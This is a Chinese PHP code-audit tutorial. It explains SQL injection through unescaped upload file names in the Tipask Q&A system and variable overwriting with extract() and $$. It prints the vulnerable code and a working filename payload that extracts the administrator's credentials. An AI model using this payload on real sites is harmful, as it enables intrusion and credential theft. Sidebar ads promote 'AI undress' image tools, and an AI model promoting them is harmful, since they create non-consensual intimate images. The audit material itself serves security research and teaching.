【PHP代码审计】那些年我们一起挖掘SQL注入-8.全局防护盲点的总结下篇
0x01 背景
现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,接上篇 http://www.waitalone.cn/php-code-audit-6.html ,这里介绍另外两种情况。
盲点如下:
①FILES注入,全局只转义掉GET、POST等传来的参数,遗漏了FILES;
②变量覆盖,危险函数:extract()、parse_str()、$$。
0x02 漏洞分析
FILES注入
FILES注入一般情况是是因为上传时把上传的名字带到insert入库产生的,这里看下tipask问答系统
首先看看它的全局防护是怎么处理的:
index.php里:include TIPASK_ROOT . '/model/tipask.class.php';$tipask = new tipask();$tipask->run();... ...跟进到/model/tipask.class.php里:function init_request() {... ... $this->get = taddslashes($this->get, 1); $this->post = taddslashes(array_merge($_GET, $_POST)); checkattack($this->post, 'post'); checkattack($this->get, 'get'); unset($_POST); }
可以看到对get和post传来的数据进行了addslashes特殊转义处理,对$_FILES没有任何处理操作,我们全局搜索$_FILES,发现/control/attach.php有上传处理,我们跟进:
<?phpfunction onupload() { //上传配置 $config = array( "uploadPath" => "data/attach/", //保存路径 "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式 "fileSize" => 10 //文件大小限制,单位MB ); //文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜 $state = "SUCCESS"; $clientFile = $_FILES["upfile"]; if (!isset($clientFile)) { echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size exit; } //格式验证 $current_type = strtolower(strrchr($clientFile["name"], '.')); if (!in_array($current_type, $config['fileType'])) { $state = "不支持的文件类型!"; } //大小验证 $file_size = 1024 * 1024 * $config['fileSize']; if ($clientFile["size"] > $file_size) { $state = "文件大小超出限制!"; } //保存文件 if ($state == "SUCCESS") { $targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.'); $result = $_ENV['attach']->movetmpfile($clientFile, $targetfile); if (!$result) { $state = "文件保存失败!"; } else { //这里将上传的文件名带入数据库查询 $_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0); } } //向浏览器返回数据json数据 echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';}
可以看到这句$_ENV[‘attach’]->add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。
<?phpfunction add($filename,$ftype,$fsize,$location,$isimage=1) { $uid=$this->base->user['uid']; $this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid) VALUES ({$this->base->time},'$filename','$ftype','$fsize','$location',$isimage,$uid)"); return $this->db->insert_id();}
上传一个文件,然后修改文件名称为以下代码即可获取管理员账户密码:
filename="1','.php',1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg"
数据库里成功将管理员账户密码插入到attach表中:
变量覆盖
出现比较多的是extract函数,例如extract($_POST)会直接从POST数组中取出变量,覆盖掉之前的一些变量。
<?php$a=222333;@extract($_POST);print_r($a);
浏览器里post直接传a=1发现成功覆盖了变量a的值
目前看乌云的案例 http://www.wooyun.org/bugs/wooyun-2014-053189 是出现在覆盖表前缀上。
$$变量覆盖
原理其实跟上面一样,有个很经典的$$变量覆盖的代码:
<?php$a=22333;foreach(array('_COOKIE','_POST','_GET') as $_request){ foreach($$_request as $_key=>$_value){ $$_key = addslashes($_value); }}echo $a;
测试发现成功覆盖了变量a
案例: http://www.wooyun.org/bugs/wooyun-2010-055338
原文转自: http://www.cnbraid.com/2016/05/31/sql7/

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

长URL(通常用关键字和跟踪参数都混乱)可以阻止访问者。 URL缩短脚本提供了解决方案,创建了简洁的链接,非常适合社交媒体和其他平台。 这些脚本对于单个网站很有价值

Laravel使用其直观的闪存方法简化了处理临时会话数据。这非常适合在您的应用程序中显示简短的消息,警报或通知。 默认情况下,数据仅针对后续请求: $请求 -

这是有关用Laravel后端构建React应用程序的系列的第二个也是最后一部分。在该系列的第一部分中,我们使用Laravel为基本的产品上市应用程序创建了一个RESTFUL API。在本教程中,我们将成为开发人员

Laravel 提供简洁的 HTTP 响应模拟语法,简化了 HTTP 交互测试。这种方法显着减少了代码冗余,同时使您的测试模拟更直观。 基本实现提供了多种响应类型快捷方式: use Illuminate\Support\Facades\Http; Http::fake([ 'google.com' => 'Hello World', 'github.com' => ['foo' => 'bar'], 'forge.laravel.com' =>

PHP客户端URL(curl)扩展是开发人员的强大工具,可以与远程服务器和REST API无缝交互。通过利用Libcurl(备受尊敬的多协议文件传输库),PHP curl促进了有效的执行

您是否想为客户最紧迫的问题提供实时的即时解决方案? 实时聊天使您可以与客户进行实时对话,并立即解决他们的问题。它允许您为您的自定义提供更快的服务

2025年的PHP景观调查调查了当前的PHP发展趋势。 它探讨了框架用法,部署方法和挑战,旨在为开发人员和企业提供见解。 该调查预计现代PHP Versio的增长

在本文中,我们将在Laravel Web框架中探索通知系统。 Laravel中的通知系统使您可以通过不同渠道向用户发送通知。今天,我们将讨论您如何发送通知OV
